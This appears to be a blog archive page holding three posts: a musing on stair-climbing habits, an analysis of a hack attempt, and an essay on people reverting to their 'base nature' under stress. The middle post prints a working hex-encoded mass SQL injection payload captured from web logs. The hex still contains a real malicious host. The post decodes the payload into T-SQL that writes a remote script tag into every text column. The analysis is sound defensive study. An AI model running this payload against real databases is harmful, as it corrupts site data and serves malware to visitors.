Why women land their feet completely on a step when climbing stairs

Why are we talking about this? It began with the end of a work day. My bus stop was on the other side of the road, and I started climbing the stairs of the overhead bridge. My mind wandered, and fantasised about what kind of story I was going to spin useful fact I could write to entertain and educate you.

Tanned legs

I observed that women, while climbing stairs, put their entire foot, tip to heel, on the step. Men, on the other hand, tend to climb with the balls of their feet/shoes. I had witnessed this many a time in the past, and today, I’m determined to write it down.

I will give you the gut-feeling, no-research-done and completely-pulled-from-the-air answer. So why do women land their feet completely on a step when climbing stairs?

Because women wear high heels.

The flat bottom at the front of women’s high heel shoes is the only non-trivial-surface part meant for contact with another surface. The high heel is supposed to help keep it flat with a surface.

Men’s shoes are (mostly) flat. This give men an extra option. A typical step is just slightly wider than a typical human’s foot, lengthwise. Men, for whatever reason, have a higher tendency to run up the stairs. In order to avoid stubbing their toes, they only step with the front half of their shoes.

Thus the reasoning for the observation that women place their foot completely on a step while climbing, whereas men climb with only half of their foot.

Disclaimer: The reasoning is pulled from the ethers of imagination mixed with baseless presumptions, but the observation is real. Your task is to verify if the observation is true. And if so, come up with your own reasoning and deductions.

[image by Emanuele Tortora]

Hexed SQL – Analysis of a hack attempt

A few days ago, I was browsing through my web site logs. I was scrolling along when I saw an interesting entry (warning, long horizontal scrolling ahead. Please click through to post for easier reading):

/2008/07/15/are-you-malleable-code-editor/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

I thought that looked peculiar, but didn’t think much of it. It wasn’t until the next day that I felt that was a hack attempt. Yeah, my spider sense wasn’t doing very well…

So I took a closer look at it. From the keywords “DECLARE”, “CHAR(4000)”, “SET”, “CAST” and “EXEC”, I gathered this might be an SQL statement. But what’s the long string of characters doing?

Notice the “0x” in the CAST command. Hmm… hexadecimal? To prove this, I wrote a mini program:

StreamWriter sw = new StreamWriter("vince.txt");
string s = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72";
int i;
char c;
for (i = 0; i < s.Length; i += 2)
{
    c = Convert.ToChar(Convert.ToInt32(string.Format("0x{0}{1}", s[i], s[i + 1]), 16));
    sw.Write(c);
}
sw.WriteLine();
sw.Close();

That might not be the best way to manipulate hexadecimal, but you should definitely not follow this example.

Lo and behold, I got this (reformatted for legibility):

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

It was a chunk of SQL statements in hexadecimal! So, let's look at it more closely. Let's start with this part:

select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

sysobjects and syscolumns are system database tables. This automatically rules out Oracle as the database, since Oracle uses all_tables and all_tab_columns. MySQL uses INFORMATION_SCHEMA.TABLES and INFORMATION_SCHEMA.COLUMNS respectively.

That leaves me with Sybase and SQL Server, the other 2 databases that I'm familiar with. Then I saw the query uses xtype. Aha! Sybase's sysobjects table doesn't have the xtype column; it only has the type column!

And so, I deduced that this was probably an attack on web sites running on SQL Servers.

Let's look at the query again. This part a.xtype='u' in the where clause searches for user tables (or tables created by the user or associated applications). This part:

b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167

needs a little more explanation. My digging into the innards of syscolumns tells me that 99, 35, 231 and 167 corresponds to ntext, text, nvarchar, varchar respectively.

Hmm... those 4 look familiar... Oh right, they're data types for storing text in databases. I have a theory as to why char and nchar are not included, but let's focus on the query first.

So in English, the query retrieves all columns of text data type of all user-created database tables. Then in the while loop, an update command in executed. Basically, it updates all the text columns in all the user-created tables to a "certain value". Let's look at this "certain value" (yes, this is THE HACK), shall we?

THE HACK starts with two single quotes, so it becomes just one single quote because of the SQL escape. Then it ends with double quotes and a greater than sign. Huh? Then there's a </title> end tag. This implies there's a starting title tag somewhere.

From this, I deduce that the hacker is assuming (or hoping) one of those text columns will be used in the title tag. This implies that the text columns are assumed to be of moderate length. char and nchar types are not usually used for these types of data, so they're left out (or the hacker didn't think they're worthy). At least that's my theory...

Moving on, we see that there's a script tag. Isn't there always? *smile* The Javascript file comes from a dubious web site from China, based on the web site address. Yes, I've anonymised it so the actual dubious site's address isn't shown (to prevent giving power to the hacker and to lower the chances of search engines banning me). You're welcome to use the C# code above to decipher the chunk of hexadecimal and find out yourself. But please, don't go to that site!

Now I don't quite understand what's with the where clause in the update statement in the exec command. Why didn't the hacker simply update all the columns instead of adding a where clause search filter? It ends up the same anyway... Perhaps it's to mix up the encoded hexadecimal so it's not similar to past attempts...

Anyway, basically THE HACK updates text columns such that if one of the text columns is used in the title tag, the web page loads the malicious Javascript and ends rendering the rest of the page. I have no idea what the Javascript file will do, and I don't intend to find out. The additional damage is the lost of data in the text columns, which is probably not as fatal as the Javascript.

And that's the end of my analysis. I hope that even if it's not relevant to you, you've learnt something from the thought processes that go into this hack investigation.

Reverting to base nature

This is an article on observation and human behaviour. Faced with a situation outside a person’s comfort zone, how will that person react? Can that person’s reactions tell you anything about his base nature?

Handling hot tea

Coffee guy by archives @ iStockphoto

I read this in a detective comic book. In one of the episodes, there’s a senior detective giving tips to the protagonist, Q (yes, that’s his name). So the senior detective went about his activities while engaging Q in conversation. He casually prepared two cups of tea*, and served one to Q.

After Q drank his tea, the senior detective smiled and told Q that he had just given Q a quick test. He had deduced two pieces of information

  • Q was right-handed
  • Q was in a state of calm

When a person is (suddenly/unexpectedly/casually) given a cup of hot drink, in order to carefully handle the cup, the person uses the dominant hand (usually). Q had used his right hand to grab the handle.

When a person is sipping a cup of hot drink, to test the temperature and prevent scalding, the person usually relaxes his facial expression, and shows his real expression. Because of the focus on the hot drink, any false expressions used to mask his feelings disappear.

For example, a person is smiling at you. When that person sips a hot drink, and suddenly furrows his eyebrows and his lips sag a little downward, he may be worried about something, but puts on a happier front.

Because of sipping a hot drink, a person revealed his base nature.

* can’t remember if it’s tea or coffee.
And I don’t know if this is true. I haven’t conducted nearly enough observations to conclude…

The truth trailing tough times

I’ve read and heard that one of the ways to determine if that special someone really fits you, is to go travelling with that person. Or go hiking, or camping, or any activity where both persons are under moderate stress.

Suddenly, one finds out how the other person handles flight delays, inconsiderate hikers, missing toothbrushes, a scratch, a cramp, and decisions affecting both persons. During tough times, a person’s base nature shows up.

Flight delays become “How about that cup of coffee?”, and cramps become “Well, at least the view here is beautiful. Ouch, ouch…”

Or missing toothbrushes become “How could you forget that? I distinctly remember telling you to bring it!”, and decisions affecting both persons become a one-sided dictatorship (Amazing Race had plenty of those).

Coding under stress

What happens when you code under deadlines, under new and unheard of requirements, under strange and different environments? You revert to your base nature.

If you have bad coding practices, then under stress, those bad coding practices will show. If you’re lazy about debugging, then under stress, your programs are going to be chock full of bugs. If you’re plain terrible at programming, and had always relied on friends and colleagues, then under stress, well, somebody’s going to notice it.

For example, copying and pasting. I’m sure you had copied and pasted similar pieces of code, never mind the rule of reducing redundant code. This is where the base nature of a programmer shows. The disciplined programmer would copy and paste that code, then quickly go through each line to make sure it’s appropriate to the context (variable names, conditional checks and so on). The careless programmer would just give it a cursory check if it compiled.

The shortcut of manually typing out each line was taken to fulfill our innate programmer laziness. Yet it’s the understanding of the code copied and the actions taken after pasting, that distinguishes the better programmer.

Improving your base nature

Practise your desired qualities when in a calm state. Practise the use of printfs, Console.WriteLines, MessageBoxes or whatever can be used to display variable values. Practise spotting errors before your compiler does. Practise the use of your programming language constructs (how to loop, how to control decision branches) in a non-critical program under a non-critical state.

When your desired qualities become second nature to you, it’s still not enough. Because in the face of adversity, that second nature might still fall off. Practise until it becomes your base nature.

Then reverting to your base nature is ok, because your base nature is already great.